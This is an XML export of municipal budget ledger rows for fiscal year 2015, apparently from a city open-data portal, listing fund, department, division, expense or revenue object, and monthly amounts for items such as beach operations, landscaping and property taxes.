<row _id="17080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7486.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7486.0</total></row>
<row _id="17081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>23000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23000.0</total></row>
<row _id="17083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="17084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1962.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1962.0</total></row>
<row _id="17085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1043.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1043.0</total></row>
<row _id="17086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1334.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1334.0</total></row>
<row _id="17087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>68400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>68400.0</total></row>
<row _id="17088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>569360.0</object><object_description>INNOVATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16000.0</total></row>
<row _id="17089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-24614.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-24614.0</total></row>
<row _id="17090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>85000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85000.0</total></row>
<row _id="17091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>673956.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>673956.0</total></row>
<row _id="17092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12390.0</total></row>
<row _id="17094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7768.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7768.0</total></row>
<row _id="17095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3289.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3289.0</total></row>
<row _id="17097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16296.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16296.0</total></row>
<row _id="17098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="17099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>518922.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>518922.0</total></row>
<row _id="17100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4500.0</total></row>
<row _id="17101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3094.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3094.0</total></row>
<row _id="17102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>307324.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>307324.0</total></row>
<row _id="17103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="17104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24670.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24670.0</total></row>
<row _id="17105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570320.0</object><object_description>TRANS TO 01-GLOW, PLGRND PRTNR</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35600.0</total></row>
<row _id="17106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>188531.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>188531.0</total></row>
<row _id="17108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400030.0</object><object_description>PROPERTY TAXES-CLRR-AIRCRAFT</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-326000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-326000.0</total></row>
<row _id="17109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400350.0</object><object_description>STATUATORY PASS-THROUGHS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-2339977.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2339977.0</total></row>
<row _id="17110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400480.0</object><object_description>SALES TAX IN-LIEU</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-4555465.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4555465.0</total></row>
<row _id="17111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522920.0</object><object_description>VEHICLES - REPAIRS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1527.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1527.0</total></row>
<row _id="17112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8493.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8493.0</total></row>
<row _id="17113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579005.0</object><object_description>DISCRET-RESIDENT SURVEY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579008.0</object><object_description>DISCRET-GRADES FOR GREEN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="17116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>576530.0</object><object_description>TRANSFER TO 04 FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>522.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>522.0</total></row>
<row _id="17118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410150.0</object><object_description>BIKE RACKS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-962.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-962.0</total></row>
<row _id="17119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410170.0</object><object_description>SIGN REMOVAL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6000.0</total></row>
<row _id="17120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>55332.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55332.0</total></row>
<row _id="17121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1920.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1920.0</total></row>
<row _id="17122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>147.0</total></row>
<row _id="17123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-1567.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1567.0</total></row>
<row _id="17124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>720.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>720.0</total></row>
<row _id="17125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35000.0</total></row>
<row _id="17126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409190.0</object><object_description>COMMERCIAL INSTRUCTOR PERMIT F</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2200.0</total></row>
